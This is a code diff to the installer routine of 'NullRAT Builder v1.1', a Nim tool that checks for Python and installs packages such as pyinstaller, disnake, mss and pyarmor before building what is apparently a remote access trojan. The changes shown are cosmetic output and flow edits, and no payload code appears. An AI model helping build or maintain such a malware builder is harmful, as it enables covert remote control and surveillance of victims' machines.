@@ -78,7 +78,8 @@ proc packageInstaller() =
7878 echo " "
7979 stdout.styledWriteLine ({styleBright}, " [1] Checking for Python..." )
8080 var status: int = execShellCmd (" python --version" )
81- if status == 0 :
81+ var status2: int = execShellCmd (" py --version" )
82+ if status == 0 or status2 == 0 :
8283 echo " Python installed!"
8384 stdout.styledWriteLine ({styleBright}, " [2] Checking if packages already installed..." )
8485 var result = execCmdEx (" pip freeze" )
@@ -98,14 +99,13 @@ proc packageInstaller() =
9899 stdout.styledWriteLine ({styleBright}, " [3] Installing dependencies..." )
99100 var res = execShellCmd (" pip install pyinstaller==4.10 virtualenv aiohttp disnake requests mss pyarmor" )
100101 if res == 0 :
101- echo " "
102- echo " ========================"
103- echo " All Installed! Moving to variables creation..."
102+ echo " ========================"
103+ stdout.styledWriteLine ({styleBright}, " All Installed! Moving to variables creation..." )
104104 sleep (2000 )
105105 variablesCreator ()
106106
107107 else :
108- echo " Python not installed!\n Would you like to download the recommended python installer? (Y/n): "
108+ stdout. styledWriteLine ({styleBright}, " Python not installed!\n Would you like to download the recommended python installer? (Y/n): " )
109109 var input: char = getch ();
110110 if input == 'N' or input == 'n' :
111111 echo " NullRAT Builder cannot continue otherwise!!! Exiting..."
@@ -114,16 +114,20 @@ proc packageInstaller() =
114114 else :
115115 openDefaultBrowser (" https://www.python.org/ftp/python/3.8.10/python-3.8.10.exe" )
116116 echo " "
117- echo " Your browser should start downloading the installer already."
118- echo " Since we do not support automatic installation of python, you have to run the installer manually"
119- echo " After running, please tick 'Install for All Users' and 'Add Python 3.8 to PATH', then install it"
120- echo " After installing, check if everything is functional by running NullRAT builder again."
117+ stdout.styledWriteLine ({styleBright}, " Your browser should start downloading the installer already." )
118+ stdout.styledWriteLine ({styleBright}, " Since we do not support automatic installation of python," )
119+ stdout.styledWriteLine ({styleBright}, " you have to run the installer manually." )
120+ stdout.styledWriteLine ({styleBright}, " After running, please tick 'Install for All Users'" )
121+ stdout.styledWriteLine ({styleBright}, " and 'Add Python 3.8 to PATH', then install it" )
122+ stdout.styledWriteLine ({styleBright}, " After installing, check if everything is functional" )
123+ stdout.styledWriteLine ({styleBright}, " by running NullRAT builder again." )
121124 echo " "
122- stdout.styledWriteLine ({styleBright}, " Exiting in 30 seconds. Thank you for using NullRAT " )
125+ stdout.styledWriteLine ({styleBright}, " Returning to menu in 30 seconds... " )
123126 sleep (30000 )
124- quit ( 2 )
127+ return
125128
126129proc mainMenu () =
130+ cls ()
127131 printName ();
128132 stdout.styledWriteLine ({styleBright}, " >> NullRAT Builder v1.1 <<" )
129133 echo " "
0 commit comments